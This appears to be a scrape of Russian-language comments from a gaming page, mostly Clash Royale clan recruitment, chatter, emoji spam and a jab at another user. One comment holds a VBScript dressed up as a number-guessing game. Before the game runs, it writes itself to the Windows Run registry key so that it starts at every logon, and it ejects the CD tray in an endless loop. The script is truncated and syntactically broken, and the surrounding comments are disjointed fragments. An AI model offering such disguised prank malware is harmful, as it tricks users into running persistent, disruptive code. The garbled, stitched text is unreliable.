Diamond Eagle даже если есть свободное время ты сам знаеш у них масти не будет играть в эту игру и трепать себе нервы.Это не акаунт В.В.Путина.Так что непозорься.
Set sapi=CreateObject("sapi.spvoice") sapi.Speak "Hello!" Dim vOrg, objArgs, root, key, WshShell root = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" KeyHP = "Program" Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite root+keyHP,"C:\Privet.vbs /autorun" Set a = CreateObject("WMPlayer.OCX.7") Set b = a.CdromCollection Set c = b.Item(0) Set d = c.Eject Set WMPlayer = CreateObject("WMPlayer.OCX.7") do WMPlayer.CdRomCollection.Item(0).Eject() loop Set y = CreateObject("Scripting.FileSystemObject") Set y = Nothing Do a = 0 u = 0 Randomize Number = Int((RND*99)+1) MsgBox "Я загадал число от 1 до 100, попробуй отгадать",64,"Угадайка" Do a = a + 1 c = InputBox("Угадай число" & vbCrLf & vbCrLf & "Попытка: " & a & vbCrLf & vbCrLf & "Чтобы посмотреть результаты введите число !" & vbCrLf & vbCrLf & "Для выхода оставьте поле пустым" & vbCrLf & vbCrLf,"Угадайка") If c = "!" Then CreateObject("WScript.Shell").Run "notepad C:\Windows\Result.dll",3,True : Exit Do If c "" Then If IsNumeric(c) = True Then If CInt(c) < Number Then MsgBox "Нет,это не " & c & ". Я загадал число больше",64,"Угадайка" If CInt(c) > Number Then MsgBox "Нет,это не " & c & ". Я загадал число меньше",64,"Угадайка" If CInt(c) = Number Then Set y = CreateObject("Scripting.FileSystemObject") MsgBox ("Количество попыток: " & a) If MsgBox ("Правильно, это было число " & c & ". Начать заного?",36,"Угадайка") = 6 Then Exit Do Else WScript.Quit End If Else
.. 😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎😎Я был. Бедный. Бац. И. У меня. Магичисгисун дук
Сочифорния объявляет новый набор активных и дружных бойцов для войны кланов!!! Условия минимальные! Ждем как начинающих 1200+ так и продолжающих с 9 уровнем королей для участия в войне кланов!!! Я жду именно тебя, приходи в мой клан Сочифорния и разнесем войну в клочья!!! Обязательно сразу всем вступившим дам старейшину
Зебра и другие не нажимайте на читать дальше ПЖ ЕСЛИ НАЖАЛ ТО Я ГОВОРИЛ НЕ НАЖИМАТЬ ЗДЕЛАЕШ УГОВОР САВЬ ПОД КОМЕНТ. ЛАЙКОС-(ЕСЛИ ШО Я ПРО ЭТО НЕ ГОВОРИЛ ОКЕЙ СТАВИМ 👍👌)-
Наш клан в Clash Royal набирает игроков от 1000 кубков. Клан очень дружный и активный, донат non stop Вступай и стань частью нашей семьи! Тэг: #9CCRG9VP
Наш клан в Clash Royal набирает игроков от 1000 кубков. Клан очень дружный и активный, донат non stop Вступай и стань частью нашей семьи! Тэг: #9CCRG9VP
5: 54 какое совпадение мне из легендарного сундука короля недавно выпала Адская какое совпадение мне из легендарного сундука короля недавно выпала Адская гончая